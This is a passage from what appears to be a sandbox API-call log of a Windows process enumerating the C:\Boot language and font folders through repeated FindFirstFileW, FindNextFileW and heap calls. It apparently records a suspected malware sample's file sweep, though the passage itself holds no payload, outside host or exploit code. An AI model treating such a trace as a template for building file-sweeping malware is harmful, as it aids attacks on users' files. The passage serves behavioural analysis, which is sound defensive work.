ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0060.412] GetProcessHeap () returned 0x550000 [0060.412] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b9ec8 [0060.412] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\en-US\\*", lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x56ec18 [0060.414] FindNextFileW (in: hFindFile=0x56ec18, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.414] FindNextFileW (in: hFindFile=0x56ec18, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0060.415] FindNextFileW (in: hFindFile=0x56ec18, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0060.415] FindNextFileW (in: hFindFile=0x56ec18, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0060.415] FindClose (in: hFindFile=0x56ec18 | out: hFindFile=0x56ec18) returned 1 [0060.415] GetProcessHeap () returned 0x550000 [0060.415] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b9ec8 | out: hHeap=0x550000) returned 1 [0060.415] FindNextFileW (in: hFindFile=0x570aa8, lpFindFileData=0x27ff7e8 | out: lpFindFileData=0x27ff7e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0060.416] GetProcessHeap () returned 0x550000 [0060.416] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b9ec8 [0060.416] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\es-ES\\*", lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x572758 [0060.696] FindNextFileW (in: hFindFile=0x572758, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.696] FindNextFileW (in: hFindFile=0x572758, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0060.696] FindNextFileW (in: hFindFile=0x572758, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0060.696] FindClose (in: hFindFile=0x572758 | out: hFindFile=0x572758) returned 1 [0060.696] GetProcessHeap () returned 0x550000 [0060.696] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b9ec8 | out: hHeap=0x550000) returned 1 [0060.697] FindNextFileW (in: hFindFile=0x570aa8, lpFindFileData=0x27ff7e8 | out: lpFindFileData=0x27ff7e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0060.697] GetProcessHeap () returned 0x550000 [0060.697] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b9ec8 [0060.697] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\fi-FI\\*", lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x572758 [0060.697] FindNextFileW (in: hFindFile=0x572758, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.698] FindNextFileW (in: hFindFile=0x572758, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0060.698] FindNextFileW (in: hFindFile=0x572758, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0060.698] FindClose (in: hFindFile=0x572758 | out: hFindFile=0x572758) returned 1 [0060.698] GetProcessHeap () returned 0x550000 [0060.698] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b9ec8 | out: hHeap=0x550000) returned 1 [0060.698] FindNextFileW (in: hFindFile=0x570aa8, lpFindFileData=0x27ff7e8 | out: lpFindFileData=0x27ff7e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0060.698] GetProcessHeap () returned 0x550000 [0060.698] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b9ec8 [0060.699] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\Fonts\\*", lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x572758 [0060.700] FindNextFileW (in: hFindFile=0x572758, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.700] FindNextFileW (in: hFindFile=0x572758, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0060.701] FindNextFileW (in: hFindFile=0x572758, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac191e00, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac191e00, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1 [0060.701] FindNextFileW (in: hFindFile=0x572758, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac204220, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac204220, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65274577, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1 [0060.701] FindNextFileW (in: hFindFile=0x572758, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac22a380, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac22a380, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1 [0060.702] FindNextFileW (in: hFindFile=0x572758, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1 [0060.702] FindNextFileW (in: hFindFile=0x572758, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 0 [0060.702] FindClose (in: hFindFile=0x572758 | out: hFindFile=0x572758) returned 1 [0060.702] GetProcessHeap () returned 0x550000 [0060.702] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b9ec8 | out: hHeap=0x550000) returned 1 [0060.702] FindNextFileW (in: hFindFile=0x570aa8, lpFindFileData=0x27ff7e8 | out: lpFindFileData=0x27ff7e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0060.703] GetProcessHeap () returned 0x550000 [0060.703] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b9ec8 [0060.703] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\fr-FR\\*", lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x572758 [0060.705] FindNextFileW (in: hFindFile=0x572758, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.705] FindNextFileW (in: hFindFile=0x572758, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0060.705] FindNextFileW (in: hFindFile=0x572758, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0060.705] FindClose (in: hFindFile=0x572758 | out: hFindFile=0x572758) returned 1 [0060.705] GetProcessHeap () returned 0x550000 [0060.705] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b9ec8 | out: hHeap=0x550000) returned 1 [0060.705] FindNextFileW (in: hFindFile=0x570aa8, lpFindFileData=0x27ff7e8 | out: lpFindFileData=0x27ff7e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0060.706] GetProcessHeap () returned 0x550000 [0060.706] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b9ec8 [0060.706] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\hu-HU\\*", lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x572758 [0060.706] FindNextFileW (in: hFindFile=0x572758, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.707] FindNextFileW (in: hFindFile=0x572758, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0060.707] FindNextFileW (in: hFindFile=0x572758, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0060.707] FindClose (in: hFindFile=0x572758 | out: hFindFile=0x572758) returned 1 [0060.707] GetProcessHeap () returned 0x550000 [0060.707] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b9ec8 | out: hHeap=0x550000) returned 1 [0060.707] FindNextFileW (in: hFindFile=0x570aa8, lpFindFileData=0x27ff7e8 | out: lpFindFileData=0x27ff7e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0060.708] GetProcessHeap () returned 0x550000 [0060.708] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b9ec8 [0060.708] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\it-IT\\*", lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x572758 [0060.709] FindNextFileW (in: hFindFile=0x572758, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.709] FindNextFileW (in: hFindFile=0x572758, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0060.710] FindNextFileW (in: hFindFile=0x572758, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0060.710] FindClose (in: hFindFile=0x572758 | out: hFindFile=0x572758) returned 1 [0060.710] GetProcessHeap () returned 0x550000 [0060.710] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b9ec8 | out: hHeap=0x550000) returned 1 [0060.710] FindNextFileW (in: hFindFile=0x570aa8, lpFindFileData=0x27ff7e8 | out: lpFindFileData=0x27ff7e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0060.710] GetProcessHeap () returned 0x550000 [0060.710] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b9ec8 [0060.710] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ja-JP\\*", lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x572758 [0060.711] FindNextFileW (in: hFindFile=0x572758, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.711] FindNextFileW (in: hFindFile=0x572758, 